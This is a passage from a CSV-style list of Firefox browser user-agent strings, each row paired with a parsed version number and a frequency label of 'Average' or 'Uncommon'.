Firefox/48.0,48,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,25,Average\nMozilla/5.0 (Android 6.0; Mobile; rv:54.0) Gecko/54.0 Firefox/54.0,54,Average\nMozilla/5.0 (X11; Linux armv7l; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) FxiOS/10.6b8836 Mobile/15D100 Safari/604.5.6\",10,Average\nMozilla/5.0 (Maemo; Linux; U; Jolla; Sailfish; Mobile; rv:26.0) Gecko/26.0 Firefox/26.0 SailfishBrowser/1.0 like Safari/538.1,26,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/1.1 Mobile/13B143 Safari/601.1.46\",1.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4\",7,Average\nMozilla/5.0 (Windows NT 6.2; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0,24,Average\nMozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0,8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2,6,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:35.0) Gecko/20100101 Firefox/35.0 Authentic8/1.0,35,Average\nMozilla/5.0 (Windows NT 6.0; rv:11.0) Gecko/20100101 Firefox/11.0,11,Average\nMozilla/5.0 (X11; FreeBSD amd64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1,3.6,Average\nMozilla/5.0 (X11; U; FreeBSD i386; zh-tw; rv:31.0) Gecko/20100101 Firefox/31.0 Opera/13.0,31,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11,2.0,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0,12,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1,10,Uncommon\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0,16,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0,28,Uncommon\nMozilla/5.0 (Windows NT 6.0; rv:38.0) Gecko/20100101 Firefox/38.0,38,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Mobile; ALCATELOneTouch4012A; rv:18.1) Gecko/18.1 Firefox/18.1,18.1,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0,28,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:50.0) Gecko/20100101 Firefox/50.0,50,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:56.0) Gecko/56.0 Firefox/56.0,56,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0,18,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:45.0) Gecko/45.0 Firefox/45.0,45,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0,14,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0,26,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:46.0) Gecko/20100101 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Android 7.0; Mobile; rv:53.0) Gecko/53.0 Firefox/53.0,53,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:38.2.1) Gecko/20100101 Firefox/38.2.1,38.2,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0,4,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0,20,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-us; rv:1.9.2.3) Gecko/20100401 YFF35 Firefox/3.6.3,3.6,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0,59,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0,55,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0,48,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729),3.6,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0,21,Uncommon\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28,3.6,Uncommon\nMozilla/5.0 (Windows; Windows NT 5.0) Gecko/20101221 Firefox/3.8.0 (.NET CLR 2.5.30),3.8,Uncommon\nMozilla/5.0 (Windows NT 5.2; rv:45.0) Gecko/20100101 Firefox/45.0,45,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0,12,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0,24,Uncommon\nMozilla/5.0 (compatible; MSIE or Firefox mutant; not on Windows server;) Daumoa/4.0,,Uncommon\nMozilla/5.0 (Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0,9,Uncommon\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.04 (lucid) Firefox/3.6.18,3.6,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0,23,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0,35,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:55.0) Gecko/20100101 Firefox/55.0,55,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0,15,Uncommon\nMozilla/5.0 (compatible; MSIE or Firefox mutant; not on Windows server;) Daumoa 4.0,,Uncommon\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,24,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:10.0) Gecko/20100101 Firefox/10.0,10,Uncommon\nMozilla/5.0 (Android 6.0.1; Mobile; rv:46.0) Gecko/46.0 Firefox/46.0,46,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:58.0) Gecko/20100101 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8,3.6,Uncommon\nMozilla/5.0 (Android 5.1.1; Mobile; rv:47.0) Gecko/47.0 Firefox/47.0,47,Uncommon\nMozilla/5.0 (Android 5.1; Tablet; rv:45.0) Gecko/45.0 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0,1.0,Uncommon\nMozilla/5.0 (Windows NT 6.0; rv:39.0) Gecko/20100101 Firefox/39.0,39,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:54.0) Gecko/54.0 Firefox/54.0,54,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0,27,Uncommon\nMozilla/5.0 (Android 5.0.2; Mobile; rv:44.0) Gecko/44.0 Firefox/44.0,44,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0,41,Uncommon\nMozilla/5.0 (Mobile; LYF/F61F/LYF-F61F-000-01-17-211217; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Cyberfox/52.0.2,52,Uncommon\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.1.0) Gecko/20100101 Firefox/50.1.0,50.1,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:56.0) Gecko/20100101 Firefox/56.0,56,Uncommon\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0,59,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15,3.6,Uncommon\nMozilla/5.0 (Android 5.1; Mobile; rv:47.0) Gecko/47.0 Firefox/47.0,47,Uncommon\nMozilla/5.0 (Android; Mobile; rv:34.0) Gecko/34.0 Firefox/34.0,34,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:46.0) Gecko/20100101 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Uncommon\nMozilla/5.0 (Mobile; $LYF/$F30C/$LYF_F30C-000-09-07-191217; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0,17,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:58.0) Gecko/20100101 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:58.0) Gecko/58.0 Firefox/58.0,58,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:32.0) Gecko/20100101 Firefox/32.0,32,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:50.0) Gecko/50.0 Firefox/50.0,50,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko/20100101 Firefox/55.0,55,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:57.0) Gecko/57.0 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0,38,Uncommon\nMozilla/5.0 (Android 5.1.1; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0,41,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) FxiOS/10.4b8288 Mobile/15C153 Safari/604.4.7\",10,Uncommon\n\"Mozilla/5.0 (X11; U; CrOS i686 9.10.0; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Gecko/20100101 Firefox/29.0\",29,Uncommon\nMozilla/5.0 (Android 5.0.2; Mobile; rv:46.0) Gecko/46.0 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:34.0) Gecko/20100101 Firefox/34.0 Cyberfox/34.1,34,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Uncommon\nMozilla/5.0 (Android 7.1.1; Mobile; rv:58.0) Gecko/58.0 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Uncommon\nPB0.6b Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0,23,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:57.0) Gecko/57.0 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:45.0) Gecko/45.0 Firefox/45.0,45,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:51.0) Gecko/20100101 Firefox/51.0,51,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:41.0) Gecko/20100101 Firefox/41.0,41,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0,11,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2,10,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1,15,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/4.0 Mobile/13F69 Safari/601.1.46\",4,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/47.0,47,Uncommon\nMozilla/5.0 (Android; Mobile; rv:38.0) Gecko/20100101 Firefox/38.0,38,Uncommon\nFirefox,,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:51.0) Gecko/20100101 Firefox/51.0,51,Uncommon\nMozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1,5,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.23) Gecko/20110920 Firefox/3.6.23,3.6,Uncommon\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:18.0) Gecko/20100101 Firefox/18.0,18,Uncommon\nMozilla/5.0 (Mobile; LYF/F61F/LYF-F61F-000-01-24-130318; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:33.0) Gecko/20100101 Firefox/33.0,33,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:15.0) Gecko/20100101 Firefox/15.0.1,15,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0 Authentic8/1.0,44,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/15.0,15,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0,38,Uncommon\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0,26,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1) Gecko/20100101 Firefox/9.0.1,9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/47.0.1,47,Uncommon\nMozilla/5.0 (Android 5.0.2; Tablet; rv:42.0) Gecko/42.0 Firefox/42.0,42,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16,2.0,Uncommon\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:19.0) Gecko/20121129 Firefox/19.0,19,Uncommon\nMozilla/5.0 (Android; Tablet; rv:20.0) Gecko/20.0 Firefox/20.0,20,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:23.0) Gecko/20100101 Firefox/23.0,23,Uncommon\nMozilla/5.0 (Android; Tablet; rv:14.0) Gecko/14.0 Firefox/14.0,14,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:50.0) Gecko/50.0 Firefox/50.0,50,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1,4,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:53.0) Gecko/20100101 Firefox/53.0,53,Uncommon\nMozilla/5.0 (Android 4.2.2; Tablet; rv:52.0) Gecko/52.0 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0 (FlipboardProxy/1.2; +http://flipboard.com/browserproxy),49,Uncommon\nMozilla/5.0 (X11; FreeBSD amd64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Uncommon\nMozilla/5.0 (Android 5.0.2; Tablet; rv:46.0) Gecko/46.0 Firefox/46.0,46,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:10.0) Gecko/20100101 Firefox/10.0,10,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:52.0) Gecko/20100101 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/44.0.2,44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 (NetShelter ContentScan, contact abuse@inpwrd.com for information)\",36,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1,5,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0,51,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0,36,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0.1) Gecko/20100101 Firefox/9.0.1,9,Uncommon\nMozilla/5.0 (Windows NT 5.2; rv:47.0) Gecko/20100101 Firefox/47.0,47,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:59.0) Gecko/20100101 Firefox/59.0,59,Uncommon\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0,18,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28,3.6,Uncommon\nMozilla/5.0 (Android; Mobile; rv:39.0) Gecko/39.0 Firefox/39.0,39,Uncommon\nMozilla/5.0 (Android 7.0; Tablet; rv:57.0) Gecko/57.0 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/54.0,54,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:42.0) Gecko/20100101 Firefox/42.0,42,Uncommon\nMozilla/5.0 (Mobile; LYF/F61F/LYF-F61F-000-01-14-131117; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (Android 5.1; Mobile; rv:44.0) Gecko/44.0 Firefox/44.0,44,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:54.0) Gecko/20100101 Firefox/54.0,54,Uncommon\nMozilla/5.0 (Mobile; LYF/F90M/LYF-F90M-000-02-18-121017; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:47.0) Gecko/47.0 Firefox/47.0,47,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:49.0) Gecko/49.0 Firefox/49.0,49,Uncommon\nMozilla/5.0 (Mobile; LYF/LF-2403N/LYF-LF2403N-000-01-3D-120318;Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (X11; U; Linux i686; rv:19.0) Gecko/20100101 Slackware/13 Firefox/19.0,19,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0,28,Uncommon\nMozilla/5.0 (Android 4.4.4; Mobile; rv:45.0) Gecko/45.0 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20100101 Firefox/20.0,20,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729),3,Uncommon\nMozilla/5.0 (Android; Tablet; rv:34.0) Gecko/34.0 Firefox/34.0,34,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:39.0) Gecko/20100101 Firefox/39.0,39,Uncommon\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0,60,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:44.0) Gecko/44.0 Firefox/44.0,44,Uncommon\nMozilla/5.0 (Mobile; LYF/F90M/LYF-F90M-000-02-22-011217; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) FxiOS/6.1 Mobile/14D27 Safari/602.4.6\",6.1,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729),4,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:8.0.1) Gecko/20100101 Firefox/8.0.1,8,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:58.0) Gecko/58.0 Firefox/58.0,58,Uncommon\nMozilla/5.0 (X11; OpenBSD amd64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:19.0) Gecko/20100101 Firefox/19.0,19,Uncommon\nMozilla/5.0 (Android 8.0.0; Mobile; rv:59.0) Gecko/59.0 Firefox/59.0,59,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:25.0) Gecko/20100101 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Android 7.0; Tablet; rv:59.0) Gecko/59.0 Firefox/59.0,59,Uncommon\nMozilla/5.0 (Mobile; LYF/F81E/LYF-F81E-000-01-18-120318; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28,3.6,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko/20100101 Firefox/12.0,12,Uncommon\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko/20131011 Firefox/23.0,23,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:44.0) Gecko/44.0 Firefox/44.0,44,Uncommon\nMozilla/5.0 (Mobile; LYF/F81E/LYF_F81E_000_01_09_231017; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:55.0) Gecko/55.0 Firefox/55.0,55,Uncommon\nMozilla/5.0 (Android 5.1.1; Mobile; rv:54.0) Gecko/54.0 Firefox/54.0,54,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18,3.6,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7,3.6,Uncommon\nMozilla/5.0 (Android 7.0; Mobile; rv:52.0) Gecko/52.0 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.2) Firefox/3.5.2,3.5,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0,5,Uncommon\nMozilla/5.0 (Android 5.1.1; Mobile; rv:55.0) Gecko/55.0 Firefox/55.0,55,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6,3,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:17.0) Gecko/17.0 Firefox/17.0,17,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0,21,Uncommon\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:16.0) Gecko/20121026 Firefox/16.0,16,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:58.0) Gecko/58.0 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Uncommon\nMozilla/5.0 (Android 5.0; Mobile; rv:45.0) Gecko/45.0 Firefox/45.0,45,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:29.0) Gecko/20100101 Firefox/29.0,29,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15,3.6,Uncommon\nMozilla/5.0 (Android; Mobile; rv:29.0) Gecko/29.0 Firefox/29.0,29,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Uncommon\nMozilla/5.0 (X11; FreeBSD amd64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Uncommon\nMozilla/5.0 (Windows NT 6.1; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1,7,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0,31,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:39.0) Gecko/20100101 Firefox/39.0,39,Uncommon\nMozilla/5.0 (Maemo; Linux; U; Sailfish; Mobile; rv:38.0) Gecko/38.0 Firefox/38.0 SailfishBrowser/1.0,38,Uncommon\nMozilla/5.0 (Android 6.0.1; Tablet; rv:57.0) Gecko/57.0 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:53.0) Gecko/53.0 Firefox/53.0,53,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0,16,Uncommon\nMozilla/5.0 (Android; Tablet; rv:17.0) Gecko/17.0 Firefox/17.0,17,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0,34,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Firefox/17.0,17,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0,10,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3,3.6,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/50.0,50,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:10.0.2) Gecko/20100101 Firefox/10.0.2,10,Uncommon\nMozilla/5.0 (Android 5.0.2; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0,41,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0 Cunaguaro/27.0,27,Uncommon\nMozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.0,45,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0,33,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0,27,Uncommon\nMozilla/5.0 (X11; Linux armv7l; rv:52.0) Gecko/20100101 Firefox/52.0,52,Uncommon\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102704 Fedora/3.0.15-1.fc10 Firefox/3.0.15,3,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0,21,Uncommon\nMozilla/5.0 (Android; Mobile; rv:21.0) Gecko/21.0 